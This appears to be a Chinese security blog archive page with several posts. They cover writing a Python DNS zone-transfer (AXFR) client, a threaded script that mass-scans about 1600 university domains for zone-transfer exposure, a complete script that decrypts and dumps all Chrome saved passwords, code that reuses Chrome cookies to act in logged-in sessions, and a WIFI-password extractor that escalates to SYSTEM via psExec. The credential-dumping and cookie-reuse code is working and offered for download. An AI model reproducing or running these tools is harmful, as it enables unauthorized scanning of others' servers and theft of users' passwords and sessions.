DNS域传送漏洞(五) — python实现DNS axfr客户端[Response]

前文介绍了生成DNS查询,本文继续介绍如何解码DNS服务器发回的响应文本。

首先应该明确,响应和查询的基本格式是一样的,都是由5个部分组成:header、Question、Answer、 Authority、Additional。并且,Header的格式也完全相同。

检查RCODE的值

拿到Response首先应该检查RCODE,因为域传送多半并不成功。检查第3个字节的最后四位即可:

    RCODE = struct.unpack('!H', response[2:4] )[0] & 0b00001111 # last 4 bits is RCODE
    if RCODE != 0:
        print 'Transfer Failed. %>_<%'
        sys.exit(-1)

这里是拿两个字节和二进制数00001111取and。

读Answer RRs的值

RRs是指Resource Record,资源记录。 该值位于第7、8字节。

跳过Header和Query

在前文查询消息中,已经记录了Query区块的长度,用到这里直接跳到Answers区块:

OFFSET = 12 + LEN_QUERY + 4    # header = 12, type + class = 4

12是Header的长度。

读取所有记录

Answer记录的基本格式是:

      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

这里很关键的是Name字段。它有两种格式:

  1. 跟前一篇提到的Query格式相同,直接用Label序列表示。
  2. 用一个偏移量,来指示前文中已经出现的某个位置。实际上,这是为了压缩文本,前面已经出现过的文本,不再重复。

如果是第二种表示法,则起始的两个字节是:

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1 1 消息内部的偏移量

于是,只需要检查前两个字节,就可以知道Name采用了何种表示法了。如果为11,就跳到对应的偏移位置去读域名。

当Type的值为1,即A记录时,RDLENGTH的值是4,并且RDATA表示的是4个字节的IP地址。循环读取记录直到消息结尾。

笔者只处理了A记录:

dns_axfr_client

建议在编码的时候,一定要使用WireShark抓包,并且对照分析各个section的内容。

去Github获取代码
参考链接: http://www.zytrax.com/books/dns/ch15/

DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]

在DNS查询中,axfr类型是Authoritative Transfer的缩写,指请求传送某个区域的全部记录。

前面三篇日志中,笔者分别使用nmap、dig、nslookup来查询域传送记录。

本篇介绍自己动手,用python写一个简单的DNS客户端,仅实现axfr查询,并且只处理A记录。

DNS消息的格式

DNS请求和响应,都是由5个区块组成的,如下图所示:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

axfr请求的包,只填充header和Question区块就可以了。

Header区块的格式

Header的格式是这样的: 继续阅读DNS域传送漏洞(四) — python实现DNS axfr客户端[Query]

DNS域传送漏洞(三)

本篇介绍批量扫描存在DNS域传送漏洞的DNS服务器。

笔者选择了安全性比较差的教育网,共扫描1604所高校,发现漏洞主机396台。

高校的域名可从该页面抓取到:http://ziyuan.eol.cn/college.php?listid=128

#encoding=gbk

import urllib2
import re
import threading
import os

html_doc = urllib2.urlopen('http://ziyuan.eol.cn/college.php?listid=128').read().decode('utf-8')
links = re.findall('href="(list.php\?listid=\d+)', html_doc)    # 地区链接
colleges = []
for link in links:
    html_doc = urllib2.urlopen(u'http://ziyuan.eol.cn/' + link).read().decode('utf-8')
    urls = re.findall('www\.\w+\.edu.\w+', html_doc)
    for url in urls:
        colleges.append(url)
    print '已采集学校主页 %d 个...' % len(colleges)

# 导出学校主页
with open('colleges.txt', 'w') as outFile:
    for college in colleges:
        outFile.write(college + '\n')      


lock = threading.Lock()
c_index = 0
def test_DNS_Servers():
    global c_index
    while True:
        lock.acquire()
        if c_index >= len(colleges):
            lock.release()
            break    # End of list
        domain = colleges[c_index].lstrip('www.')
        c_index += 1
        lock.release()
        cmd_res = os.popen('nslookup -type=ns ' + domain).read()    # fetch DNS Server List
        dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res)
        for server in dns_servers:
            if len(server) < 5: server += domain
            cmd_res = os.popen(os.getcwd() + '\\BIND9\\dig @%s axfr %s' % (server, domain)).read()
            if cmd_res.find('Transfer failed.') < 0 and \
               cmd_res.find('connection timed out') < 0 and \
               cmd_res.find('XFR size') > 0 :
                lock.acquire()
                print '*' * 10 +  ' Vulnerable dns server found:', server, '*' * 10
                lock.release()
                with open('vulnerable_hosts.txt', 'a') as f:
                    f.write('%s    %s\n' % (server.ljust(30), domain))
                with open('dns\\' + server + '.txt', 'w') as f:
                    f.write(cmd_res)
                     
threads = []
for i in range(10):
    t = threading.Thread(target=test_DNS_Servers)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

print 'All Done!'

请读者注意几个细节:

1) 笔者将windows下的命令行工具dig放在了子目录BIND9下,BIND可前往http://www.isc.org/下载。如果你使用Linux,可把完整路径删除。

2) Os.popen打开一个子程序,并返回它的执行结果。

3) Dig命令执行结果中出现特征字符串“XFR size”,则表明该DNS服务器存在漏洞。

github获取源代码

Python获取Chrome浏览器已保存的所有账号密码

昨天写了获取WIFI密码的脚本,今天继续写一段python脚本获取Chrome浏览器已保存的账号和密码。

Chrome浏览器已保存的密码都保存在一个sqlite3数据库文件中,和Cookies数据库在同一个文件夹,类似:

C:\Users\Lucas Lee\AppData\Local\Google\Chrome\User Data\Default\Login Data

使用CryptUnprotectData函数解密数据库中的密码字段,即可还原密码,只需要User权限,并且只能是User权限

为了防止出现读写出错,建议先把数据库临时拷贝到当前目录。

程序会读出所有的账号、密码、网站,写入文件夹下ChromePass.txt文件

代码如下:

import os, sys
import shutil
import sqlite3
import win32crypt

outFile_path = os.path.join(os.path.dirname(sys.executable),
                            'ChromePass.txt') 
if os.path.exists(outFile_path):
    os.remove(outFile_path)


db_file_path = os.path.join(os.environ['LOCALAPPDATA'],
                            r'Google\Chrome\User Data\Default\Login Data')
tmp_file = os.path.join(os.path.dirname(sys.executable), 'tmp_tmp_tmp')
if os.path.exists(tmp_file):
    os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)    # In case file locked
conn = sqlite3.connect(tmp_file)
for row in conn.execute('select username_value, password_value, signon_realm from logins'):
    pwdHash = str(row[1])
    try:
        ret =  win32crypt.CryptUnprotectData(pwdHash, None, None, None, 0)
    except:
        print 'Fail to decrypt chrome passwords'
        sys.exit(-1)
    with open(outFile_path, 'a+') as outFile:
        outFile.write('UserName: {0:<20} Password: {1:<20} Site: {2} \n\n'.format(
            row[0].encode('gbk'), ret[1].encode('gbk'), row[2].encode('gbk')) )
conn.close()
print 'All Chrome passwords saved to:\n' +  outFile_path
os.remove(tmp_file)    # Remove temp file

Windows可执行文件 (路径中不要有中文)
在Github获取

Python使用Chrome浏览器的Cookies发起HTTP请求

昨天我写了两篇博客,介绍:

1) 如何使用httplib带Cookies字符串发起请求

2) 如何解析Cookies字符串、创建CookieJar对象,自动管理Cookies的添加、更新、删除

本篇顺着介绍如何在Python中使用Chrome浏览器已有的Cookies发起HTTP请求。

Chrome的Cookies文件保存路径类似于:

C:\Users\Lucas Lee\AppData\Local\Google\Chrome\User Data\Default\Cookies

其中C:\Users\Lucas Lee\AppData可通过环境变量os.environ[‘LOCALAPPDATA’]获取。

Cookies是一个Sqlite3数据库文件。

了解完上述事实,问题就非常简单了:

从数据库中查询到所需的Cookies,更新到一个CookieJar对象中。再使用这个CookieJar创建opener即可。

函数build_opener_with_chrome_cookies展示了一个基本的实现,当省略domain时,会导入所有的Cookie,建议提供domain参数。

import os
import sqlite3
import cookielib
import Cookie
import urllib2

def build_opener_with_chrome_cookies(domain=None):
    cookie_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Cookies')
    if not os.path.exists(cookie_file_path):
        raise Exception('Cookies file not exist!')
    conn = sqlite3.connect(cookie_file_path)
    sql = 'select host_key, name, value, path from cookies'
    if domain:
        sql += ' where host_key like "%{}%"'.format(domain)
        
    cookiejar = cookielib.CookieJar()    # No cookies stored yet

    for row in conn.execute(sql):
        cookie_item = cookielib.Cookie(
            version=0, name=row[1], value=row[2],
                     port=None, port_specified=None,
                     domain=row[0], domain_specified=None, domain_initial_dot=None,
                     path=row[3], path_specified=None,
                     secure=None,
                     expires=None,
                     discard=None,
                     comment=None,
                     comment_url=None,
                     rest=None,
                     rfc2109=False,
            )
        cookiejar.set_cookie(cookie_item)    # Apply each cookie_item to cookiejar
    conn.close()
    return urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))    # Return opener


if __name__ == '__main__':
    
    opener = build_opener_with_chrome_cookies(domain='192.168.1.253')
    html_doc = opener.open('http://192.168.1.253').read()
    import re
    print 'Title:', re.search('(.*?)', html_doc, re.IGNORECASE).group(1)

测试代码中,我在Chrome浏览器登陆了无线路由器,opener打开的页面同样显示处于已登陆状态。

WIFIpass – Python获取本机保存的所有WIFI密码(附源代码)

于2015-5-1修改了脚本,在 Windows 7 下测试通过。

昨晚临睡前写了一小段python脚本,用于获取PC上保存过 的所有WIFI密码。因为XP和Win7系统保存的位置不相同: XP在注册表,而Win7、Vista等在ProgramData文件夹 ,对XP的支持暂未添加。 简单描述一下这段脚本所做的工作:

1. 获取ProgramData\Microsoft\Wlansvc\Profiles\Interfaces文件夹

WIFI密码经加密后,保存在ProgramData\Microsoft\Wlansvc\Profiles\Interfaces文件夹下,每个SSID对应一个xml文件。直接找到ProgramData文件夹就可以了,显而易见的方式有两种:

  1. Win32 API SHGetFolderPath函数获取
  2. os.environ[‘PROGRAMDATA’]环境变量获取

使用API函数完成更好。

2. 使用CryptUnprotectData函数解密

找到所有xml文件中keyMaterial标签中的内容,调用函数CryptUnprotectData依次解密即可。

3. 获取System权限

这段代码需要SYSTEM权限才能运行成功,这跟我们常用的”管理员身份”还有一些区别。这里我通过psExec创建一个交互式shell完成“权限提升”

WIFIpass

Windows可执行文件(运行成功后会在程序目录下创建一个WIFIpass.txt,包含所有SSID和明文密码)

python源代码